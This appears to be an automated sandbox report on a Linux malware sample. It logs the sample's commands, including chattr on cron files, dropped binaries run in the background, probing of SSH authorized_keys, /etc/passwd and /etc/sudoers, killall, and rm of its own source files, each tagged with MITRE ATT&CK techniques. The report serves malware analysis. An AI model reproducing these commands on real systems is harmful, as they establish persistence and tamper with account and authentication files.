/usr/bin/chattrchattr +ia /etc/cron.hourly/cron.hourly /etc/cron.daily/cron.daily2⤵
- Removes the immutable protection flag from a file
-
-
/bin/shsh -c "crontab -l > /dev/null 2>&1 &"2⤵
- Executes dropped EXE
-
-
/bin/shsh -c "where > /dev/null 2>&1 &"2⤵
- Executes dropped EXE
-
-
/bin/shsh -c "monitor > /dev/null 2>&1 &"2⤵
- Executes dropped EXE
-
-
/bin/lsls -al /bin/crond /bin/where /bin/execute /bin/monitor /bin/flush /usr/bin/crontab /usr/bin/power /usr/bin/whereis /usr/bin/whereos /usr/bin/top /usr/sbin/top /bin/clean /usr/sbin/baca /bin/netstat /usr/bin/netstatz2⤵
-
-
/bin/lsls -al /root/.ssh/authorized_keys /usr/sbin/.ssh/authorized_keys /sbin/.ssh/authorized_keys /bin/bash /sbin/nologin /usr/sbin/nologin2⤵
-
-
/bin/lsls -la /etc/cron.hourly/cron.hourly /etc/cron.daily/cron.daily2⤵
-
-
/bin/grepgrep daemon /etc/passwd2⤵
-
-
/bin/grepgrep daemon /etc/sudoers2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
/bin/rmrm -f authorized_keys crond.c where.c bind.c monitor.c decode.c cleaner.c crontab flush whereis top netstat install.tgz fix.tgz install2⤵
-
-
/usr/bin/killallkillall -9 monitor crond where execute1⤵
- Reads runtime system information
-
/usr/bin/crontabcrontab -l1⤵
-
/usr/bin/power/usr/bin/power -l2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/bin/shsh -c "/bin/crond > /dev/null 2>&1 &"2⤵
- Executes dropped EXE
-
-
/bin/shsh -c "chmod 755 /bin/mouse > /dev/null 2>&1 &"2⤵
- File and Directory Permissions Modification
-
-
/bin/wherewhere1⤵
- Writes file to system bin folder
-
/bin/monitormonitor1⤵
- Writes file to system bin folder
-
/bin/crond/bin/crond1⤵
- Writes file to system bin folder
-
/bin/chmodchmod 755 /bin/mouse1⤵
- File and Directory Permissions Modification
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Abuse Elevation Control Mechanism
2Sudo and Sudo Caching
2Account Manipulation
1SSH Authorized Keys
1Scheduled Task/Job
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
2Sudo and Sudo Caching
2File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
clean
crond
monitor
mouse
save
where
whoiam
cron.daily
cron.hourly
cron.hourly
passwd+
authorized_keys
nologin
cc1mZK4a.s
cc1uk9Co.o
ccBSBE9B.s
ccCIpiPD.s
ccEwKOXl.o
ccIUVayZ.s
ccJVCvKI.o
ccMSMZU6.s
cchmvsPV.o
ccrpv86U.o
crontab
top
whereis
baca